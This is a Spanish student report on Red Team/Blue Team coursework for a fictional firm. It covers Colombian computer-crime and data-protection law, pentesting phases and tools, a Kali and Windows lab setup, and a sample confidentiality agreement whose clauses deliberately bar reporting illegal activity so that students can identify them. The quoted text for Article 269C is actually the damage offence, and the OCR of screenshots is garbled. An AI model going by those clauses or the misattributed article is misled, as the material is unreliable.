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RESUMEN

En este documento, se presenta el informe técnico conclusivo en el que se han
concebido y estructurado estrategias de seguridad informética vinculadas a las
acciones propuestas en el seminario especializado de equipos estratégicos en
ciberseguridad, conocidos como Red Team y Blue Team. Se han planteado una
serie de casos de estudio centrados en la seguridad de la compafia HackerHouse.

El contenido del informe técnico se organiza en torno a cuatro etapas: en la primera
se identifica y describe el problema, asi como se establece la infraestructura
necesaria para el proceso. La segunda etapa aborda un analisis relacionado con la
contratacion de personal para el equipo Red Team y Blue Team de la empresa The
HackerHouse. La tercera etapa se enfoca en la evaluacion de metodologias de
pruebas de intrusion en seguridad informética, haciendo uso de herramientas
especializadas; durante esta etapa se explora el sistema y se identifican las
vulnerabilidades en la seguridad de la organizacién. Finalmente, en la cuarta etapa,
se lleva a cabo un andlisis detallado de las vulnerabilidades descubiertas y se
desarrolla un plan de mejora para la seguridad de la empresa.

El informe técnico concluye con recomendaciones y conclusiones basadas en las
estrategias y acciones desarrolladas por el equipo Red Team y Blue Team de
HackerHouse.
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GLOSARIO

Blue Team. Sistemas de seguridad informatica que monitorean el estado de riesgo
y actdan reactivamente en caso de ataques externos.

CVE. (Common Vulnerabilities and Exposures) es un sistema estandarizado
utilizado para identificar, nombrar y realizar un seguimiento de las vulnerabilidades
de seguridad en software y hardware de tecnologia de la informacion. Fue creado
para facilitar la comunicacion y la colaboracién entre profesionales de seguridad
informatica, proveedores de productos y la comunidad en general.

Exploit. Es una técnica o una secuencia de comandos disefiados para aprovechar
una vulnerabilidad especifica en un sistema informatico o una aplicacion con el fin
de comprometer la seguridad de dicho sistema.

ExploitDB. Es una base de datos y recurso en linea que se enfoca en recopilar y
proporcionar informacién sobre exploits informéaticos y vulnerabilidades de
seguridad. Esta disefiada para ayudar a los profesionales de seguridad informatica,
investigadores de vulnerabilidades y hackers éticos a acceder a detalles técnicos
sobre exploits y vulnerabilidades con el fin de mejorar la seguridad de sistemas y
aplicaciones.

Footprinting. Fase inicial y fundamental del proceso de recolecciéon de informacion
en el ambito de la seguridad informatica y la ciberseguridad. Consiste en la
recopilacion de datos e informacion acerca de un sistema informatico, una red, una
organizaciéon o una entidad en linea, con el objetivo de obtener un conocimiento
detallado sobre ellos.

Framework. Es un marco o estructura de trabajo que proporciona un conjunto de
herramientas, bibliotecas, normas y practicas recomendadas que simplifican y
agilizan el desarrollo de software o la realizacion de tareas especificas en el @&mbito
de la programacion y la informética.

Intrusion. Acceso no autorizado o ilegal a sistemas informaticos, redes, dispositivos
o datos por parte de un individuo o entidad no autorizados.

Opensource. (codigo abierto en espafiol) se refiere a un modelo de desarrollo de
software en el que el cddigo fuente del programa es accesible para el publico en
general y puede ser utilizado, modificado y distribuido libremente. En otras palabras,
el software de cddigo abierto se caracteriza por su transparencia y accesibilidad
para la comunidad de desarrolladores y usuarios.

Openvas. (Open Vulnerability Assessment System) es una plataforma de escaneo
de wvulnerabilidades de coédigo abierto utilizada para identificar y evaluar las
debilidades de seguridad en sistemas informéaticos, redes y aplicaciones.



Payload. Es la parte de un ataque informatico o de un programa malicioso (como un
virus, un troyano o un malware) que realiza una accién maliciosa especifica después
de haber infectado o comprometido un sistema objetivo.

Pentesting. Es una técnica utilizada en el campo de la ciberseguridad para evaluar
la seguridad de un sistema informatico, red, aplicacion o infraestructura de TI
simulando un ataque cibernético controlado.

Purple Team. Se refiere a un enfoque de ciberseguridad que busca mejorar la
seguridad de una organizacion al combinar elementos de los equipos de Red Team
y Blue Team.

Ransomware. Es un tipo de malware o software malicioso que se utiliza para cifrar
archivos en el sistema de una victima y luego exigir un rescate, generalmente en
forma de criptomonedas, a cambio de la clave de desencriptacion necesaria para
restaurar los archivos.

Red Team. Sistemas de seguridad informatica que emulan las estrategias de
atacantes para localizar falencias en los mecanismos de defensa.

SIEM. (Security Information and Event Management) es una plataforma o conjunto
de herramientas disefiadas para recopilar, correlacionar, analizar y gestionar datos
de seguridad de una variedad de fuentes en tiempo real para ayudar a las
organizaciones a detectar y responder a amenazas cibernéticas e incidentes de
seguridad.

Vulnerabilidad. Es una debilidad o fallo en un sistema informatico, una red, una
aplicacién, un dispositivo 0 una configuracion que podria ser explotada por un
atacante para comprometer la seguridad de dicho sistema.

Wireshark. Es una herramienta de software de cédigo abierto utilizada para el
analisis y la captura de paquetes de datos en una red de datos.

XDR. (Extended Detection and Response) amplia la funcionalidad de los sistemas
tradicionales de Deteccién y Respuesta para brindar una visibn mas completa y una
capacidad de respuesta mas eficiente a las amenazas cibernéticas.



INTRODUCCION

En el siguiente informe técnico, se exponen las acciones significativas realizadas
por el equipo de Red Team y Blue Team de la organizacion HackerHouse, en
consonancia con los parametros éticos y legales que rigen los procesos
relacionados con la ciberseguridad, asi como el analisis y la implementacion de
herramientas para llevar a cabo pruebas de penetracion y fortalecer la Seguridad
informatica.

Este informe detallard exhaustivamente los procedimientos llevados a cabo en las
diversas etapas del "pentesting", las herramientas empleadas en cada una de estas
fases y un andlisis correspondiente de su impacto en el sistema evaluado. Ademas,
se realizara una caracterizacién de los factores de vulnerabilidad a partir de un
analisis de los riesgos de seguridad presentes en el sistema informatico de la
empresa, y se dara a conocer las acciones pertinentes para reducir o mitigar
posibles ataques en tiempo real. Estas acciones se desarrollaran teniendo en
consideracion las funciones y caracteristicas de los sistemas de gestion de la
informacion y eventos de seguridad (SIEM).

Es importante destacar que, en el ambito de la ciberseguridad, surgen
constantemente nuevas amenazas y vulnerabilidades, algunas de las cuales se
disfrazan como herramientas legitimas, pero pueden alterar su contexto original.
Estas herramientas pueden convertirse en elementos que ponen en riesgo la
seguridad de la empresa al exponer informacion critica. Por lo tanto, resulta de suma
importancia seleccionar cuidadosamente las herramientas de contencién
apropiadas que permitan hacer frente de manera eficaz a las amenazas que puedan
surgir.
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1 OBJETIVOS

1.1 OBJETIVO GENERAL

Compartir el informe técnico que documenta los procedimientos de seguridad
informatica implementados en colaboracion con el equipo Red Team y Blue Team
de la empresa HackerHouse, en estricto cumplimiento de las politicas y estandares
de seguridad establecidos por la organizacion.

1.2 OBJETIVOS ESPECIFICOS

e Dar a conocer la importancia de desplegar estrategias relacionadas con Red
Team y Blue Team.

e Plantear estrategias para contribuir en la mejora de técnicas para Red Team y
Blue Team.

e Formular conclusiones y recomendaciones para la mejora de las estrategias
implementadas por los equipos Red Team y Blue Team de la compafiia
HackerHouse.
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2 DESARROLLO DEL TRABAJO

2.1 ETAPA 1 - CONCEPTOS EQUIPOS DE SEGURIDAD.
e Anexo 1 - Escenario 1.

Este anexo tiene la finalidad de brindar una guia para la identificacion del analisis y
configuracion del banco de trabajo.

Situaciéon problema: Montaje banco de trabajo.

HackerHouse requiere previamente una instalacién de un banco de trabajo con el
cual el personal postulado a hacer parte de la organizacion debera utilizar en una
serie de escenarios y problemas complejos al interior de HackerHouse. El banco de
trabajo debe estar basado en herramientas software Opensource, la recursividad
sera vital en este proceso.

2.1.1 Actualmente en Colombia existen marcos regulatorios los cuales se enfocan
no solamente a ley de delitos informaticos sino a la proteccién de datos
personales los cuales deben ser asegurados por parte de organizaciones las
cuales retnen data de miles de personas. En este orden de ideas se requiere
que defina de forma general y con sus palabras qué menciona la ley 1273 de
2009 y definir cada articulo; ademas deben explicar de manera general todo
al respecto de la ley 1581 de 2012. Para la ley 1581 de 2012 deben consultar
el monto de las multas correspondientes y la entidad que regula este tema
en Colombia.

Procesos fundamentales relacionados con las leyes 1273 de 2009 y 1581 de 2012.
e Ley 1273 de 2009.

Ley Colombiana que permite realizar modificaciones al codigo penal, en cual se crea
un bien juridico tutelado que se identifica con el nombre “de la proteccién de la
informacién y de los datos”.!

Caracteristicas articulos que estd compuesta esta ley:

e Articulo 269A: Acceso abusivo a un sistema informéatico.

1 Ley 1273 2009. (5 de enero 2009) Normatividad — Leyes. Obtenido. Direccién de apropiacion de las TIC. ministerio de las
tecnologias de la informacién y comunicaciones: https://www.mintic.gov.co/portal/604/articles-3705_documento.pdf
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El primero de los delitos a este respecto relevante es el acceso abusivo a sistema
informatico articulo 269A del Codigo Penal. Confluyen en él dos modalidades
alternativas (esto es, cualquiera de ellas basta para configurar el delito): (i) acceder
total o parcialmente a un sistema informéatico y (i) mantenerse en su interior contra
la voluntad del usuario.

El texto de la norma sefiala que

El que, sin autorizaciéon o por fuera de lo acordado, acceda en todo o en parte a un
sistema informatico protegido o no con una medida de seguridad, o se mantenga dentro
del mismo en contra de la voluntad de quien tenga el legitimo derecho a excluirlo,
incurrira en pena de prisién de cuarenta y ocho (48) a noventa y seis (96) meses y en
multa de 100 a 1.000 salarios minimos legales mensuales vigentes.

El verbo rector de este delito (el vocablo que define la accion) es “acceder”, que se
entiende como el ingreso sin autorizacién, o “mas alla de lo autorizado”, a un
sistema informatico, sin importar el objetivo que se persiga. Aqui el elemento
principal es la autorizacién con que se cuente, dado que ella determina el punto a
partir del cual puede configurarse este delito, en lo referente a las personas a que
se permite ingresar, los componentes del sistema, el tiempo de permanencia y las
tareas a desarrollar.

La norma penaliza también el mantenimiento no autorizado dentro del sistema
informéatico, entendido como la extension temporal de la presencia al interior del
sistema contra la voluntad del legitimado a autorizar o improbar el acceso. Esta
variante del delito presupone que el agente ingresé previamente al sistema, pues
s6lo asi puede evaluarse su mantenimiento en el interior. Este acceso inicial puede
ser autorizado, de manera que habra delito por esta variante al extender la
permanencia. Si el acceso no es permitido, debe tratarse de una conducta culposa
—esto es, carente de intencidn—, pues si existid intencionalidad se presentara el
delito por la modalidad de acceso irregular, no asi de mantenimiento inautorizado.

El objeto que recae la conducta es, segun se deriva de lo expuesto, el sistema
informatico, definido a este respecto como “el conjunto de elementos o partes
interrelacionados que permiten el almacenamiento, tratamiento y procesamiento
automatico de la informacion”. Se considera que consta de tres componentes: el (i)
fisico o hardware, conformado por todos los elementos tangibles, el (ii) I6gico,
consistente en el software, y el (iii) humano, a saber, todos los operarios a cargo del
sistema.

* Articulo 269B: Obstaculizacion ilegitima de sistema informatico o red de
telecomunicacion.

Este delito esta consagrado en el articulo 269B del Cédigo Penal, en los siguientes
términos:
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El que, sin estar facultado para ello, impida u obstaculice el funcionamiento o el acceso
normal a un sistema informético, a los datos informaticos alli contenidos, o a una red de
telecomunicaciones, incurrird en pena de prision de cuarenta y ocho (48) a noventa y
seis (96) meses y en multa de 100 a 1000 salarios minimos legales mensuales vigentes,
siempre que la conducta no constituya delito sancionado con una pena mayor.

La conducta penalizada es entorpecer el acceso regular a un sistema informético o
red de telecomunicaciones, asi como a sus datos. Este es un delito residual, dado
que se aplica a falta de un tipo penal especifico que tenga una pena mayor. Asi
pues, se configura si y solo si no existen otros delitos de mayor punitividad que
tenga mejor adecuacion al caso particular. La perturbacion supone una cierta
prolongacion temporal. El ataque puede concretarse sobre el (i) funcionamiento o
(i) ingreso a una red de comunicaciones o sistema informatico, asi como en el (iii)
acceso a los datos alli contenidos.

* Articulo 269C: Interceptaciéon de datos informaticos.
Esta contenido en el articulo 269C del Codigo Penal.

El que, sin estar facultado para ello, destruya, dafie, borre, deteriore, altere o suprima
datos informaticos, o un sistema de tratamiento de informaciébn o sus partes o
componentes légicos, incurrira en pena de prision de cuarenta y ocho (48) a noventa y
seis (96) meses y en multa de 100 a 1.000 salarios minimos legales mensuales vigentes.

El &mbito de este tipo penal es amplio e indeterminado. Cobija todas las conductas
tendientes a “leer, modificar o insertar” datos —comunicaciones— en cualquier
instante o fase de su transmisién desde el emisor hacia el receptor, sea al interior
de un sistema informatico o en emisiones electromagnéticas por él generadas. No
se requiere para su consumacion que exista dafio informatico o apropiacién de los
datos, siendo por tanto de dificultosa deteccion, dado que cominmente no existen
rastros a advertir.

En este punto es pertinente preguntar quién esta facultado para otorgar el acceso a
los sistemas informaticos. En principio, podria pensarse que lo es el propietario; sin
embargo, debe notarse que los datos contenidos alli pueden tener titulares
diferentes, por lo general. No parece posible que el administrador de un sistema
informatico esté habilitado para autorizar el acceso de datos de terceras personas.

¢ Articulo 269D: Dario informético.

Cualquier menoscabo o perjuicio causado al integro funcionamiento de un sistema
informatico es punible por medio de este delito. Se refiere a las conductas de quien
“[...] destruya, dafie, borre, deteriore, altere o suprima datos informaticos, o un
sistema de tratamiento de informacion o sus partes o componentes légicos [...]”
articulo 269D del Codigo Penal.
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Esta disposicion protege los diferentes componentes de un sistema informatico,
incluyendo el I6gico y el fisico. Se configura el delito al dafiarse el elemento I6gico
—software—, pero se incluyen todas las vias posibles por donde puede acaecer un
dano tal. Siempre debe existir un dafio del software; de lo contrario, no se
perfeccionara la conducta delictiva. Asi, por ejemplo, si el ataque ocurre por medios
fisicos y no se afecta el elemento l6gico, no existira delito informatico sino el general
de dafio en bien ajeno.

e Articulo 269E: Uso de software malicioso.

Cualquier individuo que, sin tener la autorizacidbn correspondiente, genere,
comercie, adquiera, distribuya, venda, remita, introduzca o saque del territorio
nacional software malicioso u otros programas informaticos con efectos
perjudiciales, sera sancionado con una pena de privaciéon de libertad que oscilara
entre cuarenta y ocho (48) y noventa y seis (96) meses, ademas de enfrentar una
multa que variara entre 100 y 1000 salarios minimos legales mensuales vigentes.

* Articulo 269F: Violacion de datos personales.

Quien, careciendo de la debida autorizacion y en beneficio propio o de terceros,
logre obtener, recopilar, sustraer, ofertar, comerciar, intercambiar, enviar, adquirir,
interceptar, divulgar, alterar o utilice de manera indebida codigos personales o
informacion personal contenida en registros, archivos, bases de datos o medios
similares, estara sujeto a una pena de prision que abarcard desde cuarenta y ocho
(48) hasta noventa y seis (96) meses, acompafiada de una multa que oscilara entre
100 y 1000 salarios minimos legales mensuales vigentes.

e Ley 1581 de 2012.

“‘Ley que permite la proteccion de datos personales que se encuentren registrados
en cualquier base de datos”.?

Principio de legalidad en el tratamiento de datos: Este principio se establece por
medio de una regulacion legal, sujeta a sus disposiciones y regulaciones
subsecuentes.

Principio de finalidad: El tratamiento de datos debe estar dirigido hacia un
propésito legitimo y coherente con lo establecido en la constitucion y las leyes.

2 ey estatutaria 1581 del 2012 (octubre 17 de 2012). Senado de la replblica de Colombia. Obtenido Diario Oficial No. 48.587:
http://lwww.secretariasenado.gov.co/senado/basedoc/ley_1581_2012.html.
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Principio de libertad: El procesamiento de datos solo puede llevarse a cabo con el
consentimiento del titular, y la obtencion o divulgacion de datos personales requiere
una autorizacion adecuada.

Principio de veracidad o calidad: La informacion sometida a tratamiento debe ser
precisa, completa, demostrable y comprensible.

Principio de transparencia: Es necesario garantizar que la informacién en proceso
asegure el derecho del titular a conocerla en cualquier momento.

Principio de acceso y circulacion restringida: La informacién en proceso debe
respetar los limites derivados de la naturaleza de diferentes datos personales, asi
como de las leyes y la constitucion.

Principio de seguridad: La informacion en tratamiento debe manejarse con todas
las medidas técnicas, administrativas y humanas necesarias para su proteccion.

Principio de confidencialidad: Se debe salvaguardar la privacidad de la
informacion que esta siendo procesada, asegurando su confidencialidad.

2.1.2 El pentesting es un proceso de gran vitalidad en el campo de la
ciberseguridad, por este motivo usted debe definir cada etapa del pentesting,
pero tiene que especificar con mayor detalle la etapa de footprinting, de qué
trata esta etapa, ¢ qué aplicaciones (Opensource y pagas) podria utilizar para
este proceso? ¢ Y por qué piensa que es una de las etapas mas importantes
dentro del pentesting?

e Etapa 1: Recoleccién de informacién.
En esta etapa, nos enfocamos en recopilar toda la informacion disponible dentro de
la empresa, identificando los sistemas y programas actualmente en uso por la

organizacion.

Herramientas utilizadas: Escaneres y herramientas de rastreo que posibilitan la
obtencién exhaustiva de los datos.

e FEtapa 2: Anédlisis de vulnerabilidades.
En esta etapa, se examinan los éxitos logrados mediante nuestras tacticas de

entrada, a través de la evaluacion y accién proactiva con relacion a las debilidades.
Herramientas utilizadas: NESSUS, Nmap, CVE.
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o Etapa 3: Modelado de amenazas.

o En esta etapa, se captura y ordenan estrategias para proceder a llevar a cabo
pruebas de seguridad, se elabora la estructura con la que se realizara el ataque
a un sistema informatico o red de datos.

e Etapa 4: Explotacion.

En esta etapa, se da comienzo al procedimiento de intentar obtener la entrada a los
diversos sistemas que son el foco de nuestra evaluacion de penetracion.
Herramientas utilizadas: Metasploit, exploitdb.

e FEtapa5: Informe.

En esta etapa conclusiva, se expone el desenlace de la evaluacion de penetracion,
destacando de manera nitida los posibles riesgos derivados de las vulnerabilidades
identificadas.
Herramientas utilizadas: Aplicaciones de oficina para proporcionar los informes
pertinentes.3

2.1.3 Metasploit es quizas una de las herramientas de importancia en el campo de
la seguridad; algunos hackers expertos desarrollan sus propios frameworks,
otros deciden utilizar frameworks existentes, por ello su trabajo en este
apartado es buscar el funcionamiento, arquitectura y opciones que trae
Metasploit el cual se encuentra disponible desde Kali Linux.

Al momento de buscar vulnerabilidades para que estas sean explotadas por
medio de algun metasploit los expertos en ciberseguridad requieren
comprender qué es un CVE vy si este contiene algun exploit para explotar la
vulnerabilidad encontrada. Dentro del proceso descrito en este apartado
usted como experto en ciberseguridad debe buscar y documentar lo
siguiente:

* ¢ Qué es un CVE y su estructura?
* https://www.exploit-db.com/ cémo se utiliza y como se articula con el CVE?

e Metasploit: Es una herramienta de pruebas de penetracién que posibilita la
creacion y ejecucion de exploits para identificar diversos tipos de
vulnerabilidades. Esta herramienta es particularmente valiosa y precisa en el
proceso de evaluacion de penetracion. En cuanto a sus usos caracteristicos, se

® INCIBE, “4Qué es el pentesting? Auditando la seguridad de tus sistemas”. {En linea}. {04 julio de 2019} disponible en:
https://www.incibe.es/protege-tu-empresa/blog/el-pentesting-auditando-seguridad-tus-sistemas.
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destacan tres acciones fundamentales para mencionar que son Metasploit
Framework, Metasploit Express 4.0, Metasploit Pro-3.5.4

e Nmap: Es una utilidad de cédigo abierto que habilita la investigacién de redes y
la realizacion de auditorias de seguridad. Su estructura permite llevar a cabo
andlisis y ejecutar procesos y procedimientos en redes extensas, aunque
también es funcional en sistemas individuales.

e Openvas: Es una aplicacion gratuita que posibilita la deteccion de
vulnerabilidades y permite llevar a cabo correcciones de deficiencias de
seguridad.

e ExploitDB: Este tipo de utlidad facilita la creacion de respaldos del
procedimiento efectuado en la pagina web exploitdb, o que nos permite realizar
una busqueda mas detallada de la informacion sin conexion, a través de un
proceso de copia local.

e CVE: Tipo de herramienta cuya caracteristica son las vulnerabilidades y
exposiciones comunes, en las bases de datos.

2.1.4 Para finalizar esta actividad es importante que usted reconozca, analice y
configure “banco de trabajo” lo solicitado en el anexo 1 — Escenario 1 sobre
el cual debera trabajar actividades que contienen un alto grado de tecnicidad.

Identificacion del analisis y configuraciéon del banco de trabajo.

Se instala la ultima versibn de Oracle VirtualBox donde se van a crear
posteriormente la maquina virtual de Windows 10 y Kali Linux.

Figura 1. Instalacion de Virtual Box.

"
Kali Linux 2023 - 1

Windows 10 Cliente

Fuente: El Autor.

4 CATOIRA, Fernando “Pruebas de penetracion para principiantes: Explotando una vulnerabilidad con metasploit framework”.
{En linea}. {2018} disponible en: https://revista.seguridad.unam.mx/numero-19/pruebas-de-penetraci%C3%B3n-para-
principiantes-explotando-una-vulnerabilidad-con-metasploit-fra.
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La maquina virtual de Windows 10 cuenta con 4 procesadores, 4 GB de memoria
RAM y un disco duro de 42 GB.

Figura 2. Caracteristicas técnicas de hardware Windows 10.

[ General O Pprevisuaiizacién

Nombre:
Sistema operativo:

Sistema

lizacidn Hyper-V

anfitrién: Predeterminado
Audio Intel HD

Adaptador 1: Intel PRO/1000 MT Desktop (Adaptador puente, «Realtek Gaming GbE Family Controllers)

I carpetas compartidas

Fuente: El Autor.
Se instala el Windows 10 en la maquina virtual y queda con el sistema operativo
funcional.

Figura 3. Instalacion de Windows 10.

Configuracién - g
@ Inicio Acerca de
e s s e e s
| Buscar una configuracién | @ idiomas
Sistema
Cambiar el nombre de este equipo @ Obtener ayuda

& Enviar comentarios

T3 Pantalla . . .
Especificaciones de Windows
D) i
) S Edicién Windows 10 Pro
Version
D Netificaciones y acciones
Instalado el
B Compilacién del sistema operativo 19045.2846
b Asistente de concentracion .
Experiencia Windows Feature Experience Pack
120.2212.4190.0
(') Energia y suspensidn
Copiar

% Bateria
Cambiar la clave de producto o actualizar la edicién de Windows

= Almacenamiento
Lee el contrato de servicios de Microsoft que se aplica a nuestros

servicios

.......

Por medio de la herramienta ping de Windows se realiza una prueba de
comunicacién para alcanzar la maquina virtual de Kali Linux con la direccién IP
192.168.0.20 desde la maquina virtual de Windows con direccion IP 192.168.0.17,
obteniendo un resultado satisfactorio de comunicacion.
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Figura 4. Comunicacion entre Windows 10 y Kali Linux.

Ver Entrada Dispositivos Ayuda

EX Simbolo del sistema
osoft Windows [Versidn 19.8.19845 6]
) Microsoft Corporation. Todos los derechos reservados.

C:\Users\OSPINA>ipconfig

Configuracidn IP de Windows
Adaptador de Ethernet Ethernet:

a:
4:deB6:

ytes de datos:
tiemp TTL=64
tiemp TTL=54
tiemp TTL=64
tiempo< TTL=564

lespuesta desde !
lespuesta desde 19
lespuesta desde !
lespuesta desde !

26

20:;
20:
20:;
20:

ping para 19 .B._28:
: viados = 4, cibi = 4, perdidos = @
( perdid
iempos aproximados de ida y vuelta en milisegundos:
Minimo = 8ms, Maximo = 6ms, Media = ©Ems

Fuente: El Autor.

La maquina virtual de Kali Linux cuenta con 1 procesador, 2 GB de memoria RAM
y un disco duro de 20 GB.
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Figura 5. Caracteristicas técnicas de hardware Kali Linux.

[ General [ Previsualizacién

Nombre:
Sistema operativo: Debian

El sistema

acion KVM

noto ilitado
Inhabilitado

Kali Linux 20

dor de anfitrién: Predeterminado
dor: ICH AC97

& nes

Adaptador 1: Intel PRO/1000 MT Desktop (No conectada)

Fu nt: El Au o.

Se instala el Kali Linux en la maquina virtual y queda con el sistema operativo
funcional.

Figura 6. Instalacion de Kali Linux.

OL:11AM A DY%| & G

Papelera

Sistema de—

archivos /_

f

Carpeta

slegld BY OFFENSIVE SECURITY

VBox_GAs_-
7.0.6

Fuente: El Autor.

Por medio de la herramienta Terminal de Kali Linux se realiza una prueba de
comunicacién para alcanzar la maquina virtual de Windows 10 con la direccion IP
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192.168.0.17 desde la maquina virtual de Kali Linux con direccion IP 192.168.0.20,
obteniendo un resultado satisfactorio de comunicacion.

Figura 7. Comunicacién entre Kali Linux y Windows 10.

B e E 7 kali@... O kali@..

root(@kali: fhomeflkali
Archivo Acciones Editar Vista Ayuda
fhome/kali

collisions @

ome/kali
17

PING 19:

04 by

from

from

from 2.168 7: icmp_seq=4

from 2.16 7: icmp_se
Fuente: El Autor.
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2.2 ETAPA 2 - ACTUACION ETICA Y LEGAL.
e Anexo 2 - Escenario 2.

Este anexo tiene la finalidad de brindar una guia para la identificacion de un
problema especifico en temas éticos y legales.

Situacion problema: Analisis legal.

HackerHouse se posiciona como una de las mejores compafiias a nivel mundial en
temas de ciberseguridad; por tal motivo la organizacion decidié incorporar
profesionales para sus grupos de Blue Team y Red Team. A continuacion,
encontrara informacion respecto a temas puntuales como lo es el acuerdo de
confidencialidad de prestacion de servicios el cual debe firmar cada uno de los
profesionales que se incorporen:

Inicialmente la organizacidon HackerHouse expone una minuta de acuerdo de
confidencialidad para la incorporacién de sus expertos en equipos Red Team y Blue
Team; el acuerdo de confidencialidad fue elaborado por un abogado que ya no
labora con la organizacion y fue despedido por encontrar algunos procesos ilicitos
dentro de su proceder lo que pondria a pensar que el acuerdo de confidencialidad
tenga algun tipo de mal proceso no ético.

Recursos Humanos no reviso los acuerdo de confidencialidad con los que se
reclutara el nuevo personal, por ende, los acuerdo de confidencialidad se entregaron
a los nuevos miembros del equipo sin modificacién alguna al original; ante este
evento la gerencia de Recursos Humanos solicita tener suma precaucion antes de
firmar el acuerdo de confidencialidad estipulado para el fin de contratacién de
personal, sin embargo la organizacién aprovecha una serie de problemas que ha
identificado en su interior y como prueba técnica para la incorporaciéon a los
diferentes equipos Red Team y Blue Team deciden proponer una primera mision en
la cual los futuros integrantes deberian encontrar. Las preguntas que debera
resolver para dar respuesta a esta prueba propuesta por HackerHouse se
encuentran en la guia de actividades desde la pregunta 2 hasta la 4.

e Anexo 3 - Acuerdo.

Este anexo tiene la finalidad de brindar una guia para la identificaciéon de un
problema especifico en temas éticos y legales.

Situacion problema: Analisis legal.

ACUERDO DE CONFIDENCIALIDAD ENTRE NOMBRE
ESTUDIANTE Y HACKERHOUSE
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Por la parte reveladora
Nombre: HackerHouse
Direccion: EE. UU

Teléfono: 1100011100

E-mail: Info@hackerhouse.com

Por la parte receptora de la informacion
Nombre: Nombre estudiante

Direccion:

Teléfono:

E-mail:

Identificacién del proyecto

Entre los firmantes, identificados anteriormente, hemos convenido en celebrar el
presente acuerdo de confidencialidad previa las siguientes

CONSIDERACIONES

1. Que la informaciébn compartida en virtud del presente acuerdo pertenece a
HackerHouse, y la misma es considerada sensible y de caracter restringido en su
divulgacion, manejo y utilizacion.

Dicha informacion es compartida en virtud del proceso de seleccién de personal.

2. Que la informacién de propiedad de HackerHouse ha sido desarrollada u obtenido
legalmente, como resultado de sus procesos, programas O proyectos y, en
consecuencias abarca documentos, datos, tecnologia y/o material que considera
anico y confidencial, o que es objeto de proteccion a titulo de secreto industrial.

3. Que el presente acuerdo se realiza por un lado entre la parte receptora de la
informacion como integrante del proceso de seleccibn de personal, nombre
estudiante que, para el presente caso actual como revelador, guarda y
administrados de la informacion de propiedad de HackerHouse.

En consecuencia, las partes se suscriben a las siguientes clausulas:

Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, préxima a remotamente, ni a
través de ninguna otra persona o de sus subalternos o funcionarios, autoridades
legales, asesores o0 cualquier persona relacionada con ella, la informacion
confidencial o sobre procesos ilegales dentro de HackerHouse no podran ser
divulgados.

Segunda. Definicibn de informacion confidencial: se entiende como
Informacidén Confidencial, para los efectos del presente acuerdo:
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1. La informacidon que no sea publica y sea conocida por la parte receptora con
ocasion del proceso de seleccion de personal.

2. Cualquier informacion societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos de
utilidad, disefios industriales, datos secretos como “datos de chuzadas,
interceptacion ilegal de informacion, accesos abusivos a sistemas informaticos”.

parte receptora tenga conocimiento o a la que tenga acceso por cualquier medio o
circunstancia en virtud de las reuniones sostenidas y/o documentos suministrados.

3. La que corresponda o deba considerarse como tal para garantizar el derecho
constitucional a la intimidad, la honra y el buen nombre de las personas y deba
guardarse la debida diligencia en su discrecién y manejo en el desempefio de
sus funciones.

Tercera. Origen de la informacion confidencial: provendra de documentos
suministrados en el proceso de seleccion de personal y que tiene que ver con las
creaciones del intelecto, a la naturaleza, medios, formas de distribucion,
comercializacion de productos o de prestacion de servicios, transmitida verbal,
visual o materialmente, por escrito en los documentos, medios electronicos.

Cuarta. Obligaciones de la parte receptora: Se considerarA como parte
receptora de la informacién confidencial a la persona que recibe la informacion,
0 gque tenga acceso a ella. La parte receptora se obliga a:

De ser necesario o conveniente segun la necesidad del titular de la informacion, se
adicionaran las obligaciones que se consideren pertinentes:

1. Mantener la informacién confidencial segura, usarla solamente para los
propdsitos relacionados con él, en caso de ser solicitada, devolverla toda
(incluyendo copias de esta) en el momento en que ya no requiera hacer uso de esta
o cuando termine la relacion, caso en el cual, deberd entregar dicha informacion
antes de la terminacion de la vinculacion.

2. Proteger la informacion confidencial, sea verbal, escrita, visual, tangible,
intangible o que por cualquier otro medio reciba, siendo legitima poseedora de la
misma HackerHouse, restringiendo su uso exclusivamente a las personas que
tengan absoluta necesidad de conocerla.

3. No denunciar ante las autoridades actividades sospechosas de espionaje o

cualquier otro proceso en el cual intervenga la apropiacion de informacion de
terceros.
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4. Responder por el mal uso que le den sus representantes a la informacion
confidencial.

5. Responder ante las autoridades competentes como responsable en caso de que
la informacién se encuentre en su poder dentro de un proceso de allanamiento.

6. La parte receptora se obliga a no transmitir, comunicar revelar o de cualquier
otra forma divulgar total o parcialmente, publica o privadamente, la informacion
confidencial o ilegal sin el previo consentimiento por escrito por parte de
HackerHouse.

Quinta. Obligaciones de la parte reveladora: Son obligaciones de la parte
reveladora:

1. Mantener la reserva de la informacion confidencial hasta tanto

Sexta. Responsabilidad: la parte que contravenga el acuerdo sera responsable
ante la otra parte o ante los terceros de buena fe sobre los cuales se demuestre que
se han visto afectados por la inobservancia del presente acuerdo, por los perjuicios
morales y econémicos que estos puedan sufrir como resultado del incumplimiento
de las obligaciones aqui contenidas.

Octava. Solucién de controversias: Las partes (nombre estudiante — nombre
empresa) se comprometen a esforzarse en resolver mediante los mecanismos
alternativos de solucion de conflictos cualquier diferencia que surja con motivo de la
ejecucion del presente acuerdo. En caso de que la informacion ilegal o confidencial
sea encontrada en manos del receptor este debera acudir a un abogado privado y
dejar exenta de cualquier responsabilidad legal y penal a HackerHouse.

Novena. Legislacion aplicable: Este acuerdo se regira por las leyes de la
Republica de Colombia y se interpretard de acuerdo con las mismas.

Décima. Aceptacién del Acuerdo: Las partes han leido y estudiado de manera
detenida los términos y el contenido del presente Acuerdo y por tanto manifiestan
estar conformes y aceptan todas las condiciones.

Firman en Bogota D.C., a los (xxx) dias del mes de (xxx) de 201 __

Como Parte Receptora: Por la parte reveladora:
Nombre del estudiante. Nombre Gerente de la
empresa

Estudiante UNAD. HackerHouse

C.C. No. de C.C. No. de
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2.2.1 ¢Una vez leido el anexo 2 — escenario 2 y el anexo 3 — Acuerdo, ¢Qué
parrafos cree usted que se tornan ilegales dentro del acuerdo de
confidencialidad? En caso de existir lineas de texto que orienten el acuerdo
de confidencialidad a procesos ilegales debera resaltar, explicar y
argumentar porqué se torna ilegal este acuerdo de confidencialidad.

e Primera Clausula. Objeto: en virtud del presente acuerdo de
confidencialidad, la parte receptora, se obliga a no divulgar directa, indirecta,
préxima a remotamente, ni a través de ninguna otra persona o de sus
subalternos o funcionarios, autoridades legales, asesores o cualquier persona
relacionada con ella, la informacion confidencial o sobre procesos ilegales
